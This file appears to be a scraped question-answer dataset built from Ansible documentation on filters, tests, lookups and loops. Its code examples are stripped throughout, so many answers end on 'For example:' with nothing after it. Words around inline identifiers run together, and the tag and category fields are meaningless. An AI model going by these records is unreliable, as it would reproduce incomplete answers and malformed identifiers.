{"id": "doc_092abd34305f", "question": "Discovering the data type", "question_body": "", "answer": "If you are unsure of the underlying Python type of a variable, you can use theansible.builtin.type_debugfilter to display it. This is useful in debugging when you need a particular type of variable:\nYou should note that, while this may seem like a useful filter for checking that you have the right type of data in a variable, you should often prefertype tests, which will allow you to test for specific data types.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406124"}
{"id": "doc_29876c639ddc", "question": "Transforming strings into lists", "question_body": "", "answer": "Use theansible.builtin.splitfilter to transform a character/string delimited string into a list of items suitable forlooping. For example, if you want to split a string variablefruitsby commas, you can use:\nString data (before applying theansible.builtin.splitfilter):\nList data (after applying theansible.builtin.splitfilter):", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406260"}
{"id": "doc_589a75e64e6d", "question": "Transforming dictionaries into lists", "question_body": "", "answer": "Use theansible.builtin.dict2itemsfilter to transform a dictionary into a list of items suitable forlooping:\nDictionary data (before applying theansible.builtin.dict2itemsfilter):\nList data (after applying theansible.builtin.dict2itemsfilter):\nTheansible.builtin.dict2itemsfilter is the reverse of theansible.builtin.items2dictfilter.\nIf you want to configure the names of the keys, theansible.builtin.dict2itemsfilter accepts 2 keyword arguments. Pass thekey_nameandvalue_namearguments to configure the names of the keys in the list output:\nDictionary data (before applying theansible.builtin.dict2itemsfilter):", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406420"}
{"id": "doc_d7bb335cbcba", "question": "Transforming lists into dictionaries", "question_body": "", "answer": "Use theansible.builtin.items2dictfilter to transform a list into a dictionary, mapping the content intokey:valuepairs:\nList data (before applying theansible.builtin.items2dictfilter):\nDictionary data (after applying theansible.builtin.items2dictfilter):\nTheansible.builtin.items2dictfilter is the reverse of theansible.builtin.dict2itemsfilter.\nNot all lists usekeyto designate keys andvalueto designate values. For example:\nIn this example, you must pass thekey_nameandvalue_namearguments to configure the transformation. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406532"}
{"id": "doc_6ee9f55ec780", "question": "Forcing the data type", "question_body": "", "answer": "You can cast values as certain types. For example, if you expect the input “True” from avars_promptand you want Ansible to recognize it as a boolean value instead of a string:\nIf you want to perform a mathematical comparison on a fact and you want Ansible to recognize it as an integer instead of a string:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406659"}
{"id": "doc_e8d40a2d75fc", "question": "Formatting data: YAML and JSON", "question_body": "", "answer": "You can switch a data structure in a template from or to JSON or YAML format, with options for formatting, indenting, and loading data. The basic filters are occasionally useful for debugging:\nSeeansible.builtin.to_jsonandansible.builtin.to_yamlfor documentation on these filters.\nFor human readable output, you can use:\nSeeansible.builtin.to_nice_jsonandansible.builtin.to_nice_yamlfor documentation on these filters.\nYou can change the indentation of either format:\nTheansible.builtin.to_yamlandansible.builtin.to_nice_yamlfilters use thePyYAML librarywhich has a default 80 symbol string length limit. That causes an unexpected line break after 80th symbol (if there is a space after 80th symbol)\nTo avoid such behavior and generate long lines, use thewidthoption. You must use a hardcoded number to define the width, instead of a construction likefloat(\"inf\"), because the filter does not support proxying Python functions. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406794"}
{"id": "doc_3bec5d5a7f14", "question": "Filterto_jsonand Unicode support", "question_body": "", "answer": "By defaultansible.builtin.to_jsonandansible.builtin.to_nice_jsonwill convert data received to ASCII, so:\nwill return:\nTo keep Unicode characters, pass the parameterensure_ascii=Falseto the filter:\nTo parse multi-document YAML strings, theansible.builtin.from_yaml_allfilter is provided.\nTheansible.builtin.from_yaml_allfilter will return a generator of parsed YAML documents.\nfor example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.406901"}
{"id": "doc_42ad691ab99d", "question": "Combining and selecting data", "question_body": "", "answer": "You can combine data from multiple sources and types, and select values from large data structures, giving you precise control over complex data.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.407058"}
{"id": "doc_fafb134e79c2", "question": "Combining items from multiple lists: zip and zip_longest", "question_body": "", "answer": "To get a list combining the elements of other lists useansible.builtin.zip:\nTo always exhaust all lists useansible.builtin.zip_longest:\nSimilarly to the output of theansible.builtin.items2dictfilter mentioned above, these filters can be used to construct adict:\nList data (before applying theansible.builtin.zipfilter):\nDictionary data (after applying theansible.builtin.zipfilter):", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.407247"}
{"id": "doc_c1d6b66078ac", "question": "Combining objects and subelements", "question_body": "", "answer": "Theansible.builtin.subelementsfilter produces a product of an object and the subelement values of that object, similar to theansible.builtin.subelementslookup. This lets you specify individual subelements to use in a template. For example, this expression:\nData before applying theansible.builtin.subelementsfilter:\nData after applying theansible.builtin.subelementsfilter:\nYou can use the transformed data withloopto iterate over the same subelement for multiple objects:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.407444"}
{"id": "doc_c5810f04dfd1", "question": "Combining hashes/dictionaries", "question_body": "", "answer": "Theansible.builtin.combinefilter allows hashes to be merged. For example, the following would override keys in one hash:\nThe resulting hash would be:\nThe filter can also take multiple arguments to merge:\nIn this case, keys indwould override those inc, which would override those inb, and so on.\nThe filter also accepts two optional parameters:recursiveandlist_merge.\nIfrecursive=False(the default), nested hash aren’t merged:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.407591"}
{"id": "doc_8997de028b11", "question": "Selecting values from arrays or hashtables", "question_body": "", "answer": "Theextractfilter is used to map from a list of indices to a list of values from a container (hash or array):\nThe results of the above expressions would be:\nThe filter can take another argument:\nThis takes the list of hosts in group ‘x’, looks them up inhostvars, and then looks up theec2_ip_addressof the result. The final result is a list of IP addresses for the hosts in group ‘x’.\nThe third argument to the filter can also be a list, for a recursive lookup inside the container:\nThis would return a list containing the value ofb[‘a’][‘x’][‘y’].", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.408147"}
{"id": "doc_53d89ba7ee54", "question": "Selecting JSON data: JSON queries", "question_body": "", "answer": "To select a single element or a data subset from a complex data structure in JSON format (for example, Ansible facts), use thecommunity.general.json_queryfilter.  Thecommunity.general.json_queryfilter lets you query a complex JSON structure and iterate over it using a loop structure.\nConsider this data structure:\nTo extract all clusters from this structure, you can use the following query:\nTo extract all server names:\nTo extract ports from cluster1:\nTo print out the ports from cluster1 in a comma-separated string:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.408546"}
{"id": "doc_52b1856056b6", "question": "Random MAC addresses", "question_body": "", "answer": "This filter can be used to generate a random MAC address from a string prefix.\nTo get a random MAC address from a string prefix starting with ‘52:54:00’:\nNote that if anything is wrong with the prefix string, the filter will issue an error.\nAs of Ansible version 2.9, you can also initialize the random number generator from a seed to create random-but-idempotent MAC addresses:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.409017"}
{"id": "doc_675693024ed2", "question": "Random items or numbers", "question_body": "", "answer": "Theansible.builtin.randomfilter in Ansible is an extension of the default Jinja2 random filter, and can be used to return a random item from a sequence of items or to generate a random number based on a range.\nTo get a random item from a list:\nTo get a random number between 0 (inclusive) and a specified integer (exclusive):\nTo get a random number from 0 to 100 but in steps of 10:\nTo get a random number from 1 to 100 but in steps of 10:\nYou can initialize the random number generator from a seed to create random-but-idempotent numbers:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.409470"}
{"id": "doc_7a75726926ac", "question": "Managing list variables", "question_body": "", "answer": "You can search for the minimum or maximum value in a list, or flatten a multi-level list.\nTo get the minimum value from the list of numbers:\nTo get the minimum value in a list of objects:\nTo get the maximum value from a list of numbers:\nTo get the maximum value in a list of objects:\nFlatten a list (same thing theflattenlookup does):", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.409843"}
{"id": "doc_88929f7a8f85", "question": "Selecting from sets or lists (set theory)", "question_body": "", "answer": "You can select or combine items from sets or lists. Note, multisets are currently not supported and all of the following filters imply uniqueness. That means that duplicate elements are removed from the result.\nTo get a unique set from a list:\nTo get a union (with duplicate elements removed) of two lists:\nTo get the intersection of two lists (unique list of all items that exist in both lists):\nTo get the difference of two lists (items in first list that don’t exist in second list):\nTo get the symmetric difference of two lists (items exclusive to each list):", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.410081"}
{"id": "doc_12bfa10355bb", "question": "Calculating numbers (math)", "question_body": "", "answer": "You can calculate logs, powers, and roots of numbers with Ansible filters. Jinja2 provides other mathematical functions like abs() and round().\nGet the logarithm (default is e):\nGet the base 10 logarithm:\nGive me the power of 2! (or 5):\nSquare root, or the 5th:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.410259"}
{"id": "doc_040078fa04b0", "question": "Network CLI filters", "question_body": "", "answer": "To convert the output of a network device CLI command into structured JSON\noutput, use theansible.netcommon.parse_clifilter:\nTheansible.netcommon.parse_clifilter will load the spec file and pass the command output\nthrough it, returning JSON output. The YAML spec file defines how to parse the CLI output.\nThe spec file should be valid formatted YAML.  It defines how to parse the CLI\noutput and return JSON data.  Below is an example of a valid spec file that\nwill parse the output from theshowvlancommand.\nThe spec file above will return a JSON data structure that is a list of hashes\nwith the parsed VLAN information.\nThe same command could be parsed into a hash by using the key and values\ndirectives.  Here is an example of how to parse the output into a hash\nvalue using the sameshowvlancommand.\nAnother common use case for parsing CLI commands is to break a large command\ninto blocks that can be parsed.  This can be done using thestart_blockandend_blockdirectives to break the command into blocks that can be parsed.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.410431"}
{"id": "doc_e125aa62f1d8", "question": "Network XML filters", "question_body": "", "answer": "To convert the XML output of a network device command into structured JSON\noutput, use theansible.netcommon.parse_xmlfilter:\nTheansible.netcommon.parse_xmlfilter will load the spec file and pass the command output\nthrough formatted as JSON.\nThe spec file should be valid formatted YAML. It defines how to parse the XML\noutput and return JSON data.\nBelow is an example of a valid spec file that\nwill parse the output from theshowvlan|displayxmlcommand.\nThe spec file above will return a JSON data structure that is a list of hashes\nwith the parsed VLAN information.\nThe same command could be parsed into a hash by using the key and values\ndirectives.  Here is an example of how to parse the output into a hash\nvalue using the sameshowvlan|displayxmlcommand.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.410542"}
{"id": "doc_b2a60bf28783", "question": "Network VLAN filters", "question_body": "", "answer": "Use theansible.netcommon.vlan_parserfilter to transform an unsorted list of VLAN integers into a\nsorted string list of integers according to IOS-like VLAN list rules. This list has the following properties:\nVlans are listed in ascending order.Three or more consecutive VLANs are listed with a dash.The first line of the list can be first_line_len characters long.Subsequent list lines can be other_line_len characters.\nTo sort a VLAN list:\nThis example renders the following sorted list:\nAnother example Jinja template:\nThis allows for the dynamic generation of VLAN lists on a Cisco IOS tagged interface. You can store an exhaustive raw list of the exact VLANs required for an interface and then compare that to the parsed IOS output that would actually be generated for the configuration.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.410763"}
{"id": "doc_51bfeb72fcd9", "question": "Hashing and encrypting strings and passwords", "question_body": "", "answer": "To get the sha1 hash of a string:\nTo get the md5 hash of a string:\nGet a string checksum:\nOther hashes (platform dependent):\nTo get a sha512 password hash (random salt):\nTo get a sha256 password hash with a specific salt:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.410931"}
{"id": "doc_2b725527d3a8", "question": "Adding comments to files", "question_body": "", "answer": "Theansible.builtin.commentfilter lets you create comments in a file from text in a template, with a variety of comment styles. By default, Ansible uses#to start a comment line and adds a blank comment line above and below your comment text. For example the following:\nproduces this output:\nAnsible offers styles for comments in C (//...), C block\n(/*...*/), Erlang (%...) and XML (\n):\nYou can define a custom comment character. This filter:\nproduces:\nYou can fully customize the comment style:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.411035"}
{"id": "doc_74254cfdfe89", "question": "URLEncode Variables", "question_body": "", "answer": "Theurlencodefilter quotes data for use in a URL path or query using UTF-8:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.411072"}
{"id": "doc_ee377cfca0c2", "question": "Searching strings with regular expressions", "question_body": "", "answer": "To search in a string or extract parts of a string with a regular expression, use theansible.builtin.regex_searchfilter:\nTo extract all occurrences of regex matches in a string, use theansible.builtin.regex_findallfilter:\nTo replace text in a string with regex, use theansible.builtin.regex_replacefilter:\nTo escape special characters within a standard Python regex, use theansible.builtin.regex_escapefilter (using the defaultre_type='python'option):\nTo escape special characters within a POSIX basic regex, use theansible.builtin.regex_escapefilter with there_type='posix_basic'option:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.411325"}
{"id": "doc_10b3d55324fe", "question": "Managing file names and path names", "question_body": "", "answer": "To get the last name of a file path, like ‘foo.txt’ out of ‘/etc/asdf/foo.txt’:\nTo get the last name of a Windows style file path (new in version 2.0):\nTo separate the Windows drive letter from the rest of a file path (new in version 2.0):\nTo get only the Windows drive letter:\nTo get the rest of the path without the drive letter:\nTo get the directory from a path:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.411508"}
{"id": "doc_c6602d136469", "question": "Manipulating strings", "question_body": "", "answer": "To add quotes for shell usage:\n(Documentation:ansible.builtin.quote)\nTo concatenate a list into a string:\nTo split a string into a list:\nTo work with Base64 encoded strings:\n(Documentation:ansible.builtin.b64encode)", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.411657"}
{"id": "doc_07a39882adbe", "question": "Handling dates and times", "question_body": "", "answer": "To get a date object from a string use theto_datetimefilter:\nTo format a date using a string (like with the shell date command), use the “strftime” filter:\nstrftime takes an optional utc argument, defaulting to False, meaning times are in the local timezone:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.411921"}
{"id": "doc_910cb3845132", "question": "Getting Kubernetes resource names", "question_body": "", "answer": "Use the “k8s_config_resource_name” filter to obtain the name of a Kubernetes ConfigMap or Secret,\nincluding its hash:\nThis can then be used to reference hashes in Pod specifications:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html", "collected_at": "2026-01-17T09:15:25.412077"}
{"id": "doc_1d9ad3323023", "question": "Testing if a list contains a value", "question_body": "", "answer": "Ansible includes acontainstest which operates similarly, but in reverse of the Jinja2 providedintest.\nThecontainstest is designed to work with theselect,reject,selectattr, andrejectattrfilters", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tests.html", "collected_at": "2026-01-17T09:15:27.592997"}
{"id": "doc_fa91b1dbad75", "question": "Testing if a list value is True", "question_body": "", "answer": "You can useanyandallto check if any or all elements in a list are true or not", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tests.html", "collected_at": "2026-01-17T09:15:27.593102"}
{"id": "doc_d732cde5d206", "question": "Testing size formats", "question_body": "", "answer": "Thehuman_readableandhuman_to_bytesfunctions let you test your\nplaybooks to make sure you are using the right size format in your tasks, and that\nyou provide Byte format to computers and human-readable format to people.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tests.html", "collected_at": "2026-01-17T09:15:27.593150"}
{"id": "doc_68ebce4ef539", "question": "Testing task results", "question_body": "", "answer": "The following tasks are illustrative of the tests meant to check the status of tasks", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tests.html", "collected_at": "2026-01-17T09:15:27.593264"}
{"id": "doc_d6140796675f", "question": "The lookup function", "question_body": "", "answer": "You can use thelookupfunction to populate variables dynamically. Ansible evaluates the value each time it is executed in a task (or template).\nThe first argument to thelookupfunction is required and specifies the name of the lookup plugin. If the lookup plugin is in a collection, the fully qualified name must be provided, since thecollections keyworddoes not apply to lookup plugins.\nThelookupfunction also accepts an optional boolean keywordwantlist, which defaults toFalse. WhenTrue, the result of the lookup is ensured to be a list.\nRefer to the lookup plugin’s documentation to see plugin-specific arguments and keywords.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_lookups.html", "collected_at": "2026-01-17T09:15:29.020708"}
{"id": "doc_5fd6c95f8128", "question": "The query/q function", "question_body": "", "answer": "This function is shorthand forlookup(...,wantlist=True). These are equivalent:\nFor more details and a list of lookup plugins in ansible-core, seeWorking with plugins. You may also find lookup plugins in collections. You can review a list of lookup plugins installed on your control machine with the commandansible-doc-l-tlookup.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_lookups.html", "collected_at": "2026-01-17T09:15:29.020774"}
{"id": "doc_d36dbdafc84a", "question": "Iterating over a simple list", "question_body": "", "answer": "Repeated tasks can be written as standard loops over a simple list of strings. You can define the list directly in the task.\nYou can define the list in a variables file, or in the ‘vars’ section of your play, then refer to the name of the list in the task.\nEither of these examples would be the equivalent of\nYou can pass a list directly to a parameter for some plugins. Most of the packaging modules, likeyumandapt, have this capability. When available, passing the list to a parameter is better than looping over the task. For example\nCheck themodule documentationto see if you can pass a list to any particular module’s parameter(s).", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.635537"}
{"id": "doc_bf5aa6058720", "question": "Iterating over a list of hashes", "question_body": "", "answer": "If you have a list of hashes, you can reference subkeys in a loop. For example:\nWhen combiningconditionalswith a loop, thewhen:statement is processed separately for each item.\nSeeBasic conditionals with whenfor examples.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.635631"}
{"id": "doc_c1351df142d1", "question": "Iterating over a dictionary", "question_body": "", "answer": "To loop over a dict, use thedict2items:\nHere, we are iterating overserver_configsand printing the key and selected nested fields.\nIf the values in the dictionary are themselves dictionaries (for example, each group maps\nto a dict containing agid), remember that after applyingdict2itemseach loop item\nhas two attributes:item.keyanditem.value. Access nested fields viaitem.value.\n.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.635735"}
{"id": "doc_5ea347049e49", "question": "Registering variables with a loop", "question_body": "", "answer": "You can register the output of a loop as a variable. For example\nWhen you useregisterwith a loop, the data structure placed in the variable will contain aresultsattribute that is a list of all responses from the module. This differs from the data structure returned when usingregisterwithout a loop. Thechanged/failed/skippedattribute that’s beside theresultswill represent the overall state.changed/failedwill betrueif at least one of the iterations triggered a change/failed, whileskippedwill betrueonly if all iterations were skipped.\nSubsequent loops over the registered variable to inspect the results may look like\nDuring iteration, the result of the current item will be placed in the variable.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.635843"}
{"id": "doc_557e97570c17", "question": "Retrying a task until a condition is met", "question_body": "", "answer": "You can use theuntilkeyword to retry a task until a certain condition is met. Here’s an example:\nThis task runs up to 5 times with a delay of 10 seconds between each attempt. If the result of any attempt has “all systems go” in its stdout, the task succeeds. The default value for “retries” is 3 and “delay” is 5.\nTo see the results of individual retries, run the play with-vv.\nWhen you run a task withuntiland register the result as a variable, the registered variable will include a key called “attempts”, which records the number of retries for the task.\nIfuntilis not specified, the task will retry until the task succeeds but at mostretriestimes (New in version 2.16).\nYou can combine theuntilkeyword withlooporwith_\n. The result of the task for each element of the loop is registered in the variable and can be used in theuntilcondition. Here is an example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.635935"}
{"id": "doc_93ecaee27de7", "question": "Looping over inventory", "question_body": "", "answer": "Normally the play itself is a loop over your inventory, but sometimes you need a task to do the same over a different set of hosts.\nTo loop over your inventory, or just a subset of it, you can use a regularloopwith theansible_play_batchorgroupsvariables.\nThere is also a specific lookup plugininventory_hostnamesthat can be used like this\nMore information on the patterns can be found inPatterns: targeting hosts and groups.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.635998"}
{"id": "doc_9b51923a7d9a", "question": "Ensuring list input forloop: usingqueryrather thanlookup", "question_body": "", "answer": "Theloopkeyword requires a list as input, but thelookupkeyword returns a string of comma-separated values by default. Ansible 2.5 introduced a new Jinja2 function namedquerythat always returns a list, offering a simpler interface and more predictable output from lookup plugins when using theloopkeyword.\nYou can forcelookupto return a list toloopby usingwantlist=True, or you can usequeryinstead.\nThe following two examples do the same thing.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636058"}
{"id": "doc_634109c6e8af", "question": "Adding controls to loops", "question_body": "", "answer": "Theloop_controlkeyword lets you manage your loops in useful ways.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636131"}
{"id": "doc_5528cbff62d5", "question": "Limiting loop output withlabel", "question_body": "", "answer": "When looping over complex data structures, the console output of your task can be enormous. To limit the displayed output, use thelabeldirective withloop_control.\nThe output of this task will display just thenamefield for eachiteminstead of the entire contents of the multi-line{{item}}variable.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636192"}
{"id": "doc_56f7190ff51a", "question": "Pausing within a loop", "question_body": "", "answer": "To control the time (in seconds) between the execution of each item in a task loop, use thepausedirective withloop_control.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636237"}
